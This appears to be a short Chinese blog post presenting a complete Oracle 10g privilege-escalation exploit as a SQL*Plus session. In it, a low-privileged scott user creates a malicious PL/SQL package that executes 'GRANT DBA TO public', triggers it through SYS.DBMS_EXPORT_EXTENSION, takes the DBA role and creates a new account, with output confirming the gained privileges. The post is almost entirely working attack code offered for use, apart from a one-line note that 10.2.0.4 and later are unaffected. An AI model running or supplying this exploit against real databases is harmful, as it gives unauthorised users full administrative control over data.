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Oracle特权提升

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2016-06-07 15:38:33997browse

以下为hack过程 Microsoft Windows [版本 5.2.3790] C:\Documents and Settings\Administratorsqlplus scott/tiger SQL*Plus: Release 10.2.0.1.0 - Production on 星期一 9月 23 23:07:17 2013 Copyright (c) 1982, 2005, Oracle. All rights reserved. 连

以下为hack过程

Microsoft Windows [版本 5.2.3790]




C:\Documents and Settings\Administrator>sqlplus scott/tiger


SQL*Plus: Release 10.2.0.1.0 - Production on 星期一 9月 23 23:07:17 2013


Copyright (c) 1982, 2005, Oracle.  All rights reserved.




连接到:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, OLAP and Data Mining options


SQL> select * from session_privs;


PRIVILEGE
--------------------------------------------------------------------------------
CREATE SESSION
CREATE TABLE
CREATE CLUSTER
CREATE SEQUENCE
CREATE PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE


已选择9行。


SQL> CREATE OR REPLACE
  2  PACKAGE MYBADPACKAGE authid current_user
  3  IS
  4    FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
  5  VARCHAR2,p4  VARCHAR2,env SYS.odcienv)
  6     RETURN NUMBER;
  7  END;
  8  /


程序包已创建。


SQL> CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
  2  IS
  3    FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
  4  VARCHAR2,p4  VARCHAR2,env SYS.odcienv)
  5      RETURN NUMBER
  6    IS
  7    BEGIN
  8      EXECUTE IMMEDIATE 'GRANT DBA TO public';
  9      RETURN 1;
 10      EXCEPTION WHEN OTHERS THEN
 11      EXECUTE IMMEDIATE 'GRANT DBA TO public';
 12      return 1;
 13    END;
 14  END;
 15  /


程序包体已创建。


SQL> DECLARE
  2    INDEX_NAME VARCHAR2(200);
  3    INDEX_SCHEMA VARCHAR2(200);
  4    TYPE_NAME VARCHAR2(200);
  5    TYPE_SCHEMA VARCHAR2(200);
  6    VERSION VARCHAR2(200);
  7    NEWBLOCK PLS_INTEGER;
  8    GMFLAGS NUMBER;
  9    v_Return VARCHAR2(200);
 10  BEGIN
 11    INDEX_NAME := 'A1';  INDEX_SCHEMA := 'SCOTT';
 12    TYPE_NAME := 'MYBADPACKAGE';  TYPE_SCHEMA := 'SCOTT';
 13    VERSION := '10.2.0.1.0';  GMFLAGS := 1;
 14    v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
 15      INDEX_NAME => INDEX_NAME,    INDEX_SCHEMA => INDEX_SCHEMA,    TYPE_NAME
 16  => TYPE_NAME,
 17      TYPE_SCHEMA => TYPE_SCHEMA,    VERSION => VERSION,    NEWBLOCK =>
 18  NEWBLOCK,    GMFLAGS => GMFLAGS
 19            );
 20  END;
 21  /


PL/SQL 过程已成功完成。


SQL> create user qwe identified by qwe;
create user qwe identified by qwe
                              *
第 1 行出现错误:
ORA-01031: 权限不足




SQL> set role dba
  2  /


角色集


SQL> create user qwe identified by qwe;


用户已创建。


SQL> select * from session_privs;


PRIVILEGE
--------------------------------------------------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER


PRIVILEGE
--------------------------------------------------------------------------------
BECOME USER
.......

经测试,oracle10.2.0.4以上版本没这个安全漏洞

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